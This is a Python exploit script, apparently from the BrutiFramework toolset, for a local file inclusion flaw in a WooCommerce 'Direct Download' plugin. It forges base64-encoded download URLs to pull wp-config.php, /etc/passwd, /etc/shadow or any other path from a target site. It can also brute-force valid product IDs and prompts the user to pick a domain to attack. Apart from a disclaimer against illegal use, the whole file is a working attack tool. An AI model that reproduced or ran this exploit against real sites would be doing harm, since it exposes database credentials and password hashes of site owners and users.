#lfi_attack_for_direct_download_woocommerce.py

#
# Author: Diego Celdran Morell
# Web: http://www.diegoceldran.es/
# Fecha Ultima actualizacion: 15/01/2017
# Version: V1.0
# No me hago responsable del mal uso que se le pueda dar a esta herramienta
#

import os;


try:
  #pip install urlopen
  import requests;

except (Exception):
  #ejecutar pip install urlopen
  print(" Installing required modules...");
  os.system("pip install requests");
  from urllib2 import urlopen


try:
  #pip install urlopen
  import base64;

except (Exception):
  #ejecutar pip install urlopen
  print(" Installing required modules...");
  os.system("pip install base64");
  import base64


def make_exploit(download_link):
  lnk_download = download_link;

  parts     =  lnk_download.split("/direct-download/");
  toDecode  =  parts[1];
  domain    =  parts[0];

  if (toDecode[:-1] == "/"):
    toDecode = toDecode[:count(toDecode)-1];

  else:
    toDecode = toDecode;

  decoded = str(base64.b64decode(toDecode.encode('ascii')).decode('utf-8'));

  productID = decoded.split("|")[0];

  print(" ");
  print(" ProductID: " + productID);
  print(" ");
  eject_exploit(productID, domain);


def eject_exploit(productID, domain):
  print(" Select a file to download");
  print(" [0] wp-config.php");
  print(" [1] /etc/passwd");
  print(" [2] /etc/shadow");
  print(" or select another path to file to download");
  print(" ");
  optDownload = input(" >>> ");
  print(" ");


  if (domain[:7] == "http://"):
    domain = domain;

  elif (domain[:8] == "https://"):
    domain = domain;

  else:
    domain = "http://" + domain;


  if (optDownload == "0"):
    fileToDownload = "wp-config.php";

  elif (optDownload == "1"):
    fileToDownload = "/etc/passwd";

  elif (optDownload == "2"):
    fileToDownload = "/etc/shadow"

  else:
    fileToDownload = optDownload;

  url = domain + "/direct-download/" + base64.b64encode((str(productID) + "|" + fileToDownload).encode('ascii')).decode('utf-8');

  print(" Downloading " + fileToDownload + " file from " + domain);
  print(" Accesing to " + url);
  print(" ");

  req = requests.get(url);

  if (req.status_code == 200):
    print(" File downloaded correctly!");

    fileName = fileToDownload.replace("\\", "/");
    file = fileName.split("/");
    fileText = str(file[-1]);

    f = open(fileText, 'w');
    
    f.write(req.text);

    f.close();

    print(" Acces to this file in: " + str(os.path.dirname(os.path.abspath(__file__))) + " folder");
    print(" ");

  else:
    print(" [-] This domain is not vulnerable");

  eject_exploit(productID, domain);


def get_product_id(domain, minID, maxID):
  if(maxID == False):
    maxID = 999999999999999999;

  url = "";

  if (domain[:7] == "http://"):
    print(domain[:7]);
    url = domain;

  elif (domain[:8] == "https://"):
    prin(domain[:8]);
    url = domain;

  else:
    url = "http://" + domain;


  if (url[:-1] == "/"):
    url = url + "direct-download/";

  else:
    url = url + "/direct-download/";


  actuallyId = minID;
  idProduct = 0;
  
  while (idProduct == 0 and actuallyId <= maxID):
    encodedURL = base64.b64encode((str(actuallyId) + "|").encode('ascii'));
    urlToTest = url + str(encodedURL.decode("utf-8")) + "/"
    print(" Testing ID: " + str(actuallyId) + "; Getting URL: " + urlToTest);
    #print("");
    
    req = requests.get(urlToTest);
    
    if (req.status_code == 200):
      
      if("This product is not available for direct free download." in req.text):
        # testing text you recibe
        print(" [-] No product fount with ID: " + str(actuallyId));
        print(" ");

      else:
        print(" [+] A product ID was fount: " + str(actuallyId));
        print(" ");
        idProduct = actuallyId;

    else:
      print(" [-] This domain is not vulnerable");
    
    actuallyId = actuallyId+1;

  if (idProduct != 0):
    eject_exploit(idProduct, domain);
    

def testin_get_a_download_link(domain):
  print(" Do you want try to find a valid URL for the website?");
  print(" [0] no, exit");
  print(" [1] yes, it may have a long time");
  print(" ");
  test_find = input(" >>> ");
  print(" ");

  if (test_find == "1"):
    # Proseguir
    print(" Please select the minimun id to find the product (0 to none; minimun id to start recomended: 400)");
    minID = input(" >>> ");
    print(" ");

    if (minID == "0"):
      minID = 1;

    else:
      minID = int(minID);

    print(" Please select the maximun id to find the product (0 to stop manually when you want)");
    maxID = input(" >>> ");
    print(" ");

    if (maxID == "0"):
      maxID = False;

    else:
      maxID = int(maxID);

    get_product_id(domain, minID, maxID);

  else:
    exit();


def get_download_link(domain):
  print(" Please");
  print(" Set a download link from the website: ");
  print(" [0] I don't have any download link");
  print(" ");
  download_link = input(" >>> ");
  print(" ");

  if (download_link == "0"):
    testin_get_a_download_link(domain);

  else:
    make_exploit(download_link);


def get_download_link_no_domain():
  print(" Please");
  print(" Set a download link from the website: ");
  print(" [0] I don't have any download link");
  print(" ");
  download_link = input(" >>> ");
  print(" ");

  if (download_link == "0"):
    print(" Please, select the domain to attack");
    domain = input(" >>> ");
    print("");
    testin_get_a_download_link(domain);

  else:
    make_exploit(download_link);


def check_vulnerable_domain(domain = "diegoceldran.es"):
  # Check if domain/direct-download/a/ return any thing
  if (domain[:7] == "http://"):
    url = domain;

  elif (domain[:8] == "https://"):
    url = domain;

  else:
    url = "http://" + domain;

  if (url[:-1] == "/"):
    url = url + "direct-download/a/";

  else:
    url = url + "/direct-download/a/";


  req = requests.get(url);
  if (req.status_code == 200):
    print(" The web site: " + url + " respond: ");
    print(" " + req.text);
    print(" [+] This domain is maybe vulnerable");
    print(" ");

    get_download_link(domain);

  else:
    print(" [-] This domain is not vulnerable");

print(" ");
print(" LFI Attack for Direct Download Woocommerce plugin is started!");
print(" ");
print(" If you're using this module out of BrutiFramework, please, visit");
print(" http://www.diegoceldran.es/brutiframework-alfa/ to Download ");
print(" BrutiFramework from the oficial site. Thanks!");
print(" ");
print(" IMPORTANT:\n NO USE THIS EXPLOIT FOR ILEGAL PURPOSES");
print(" ");
print(" Select the target: (ej: www.diegoceldran.es)");
print(" [0] Omit the checking progress");
print(" ");
domain = input(" >>> ");
if (domain != "0"):
  print(" ");
  print(" Checking " + domain + "...");
  print(" ");
  check_vulnerable_domain(domain);

else:
  print(" ");
  get_download_link_no_domain();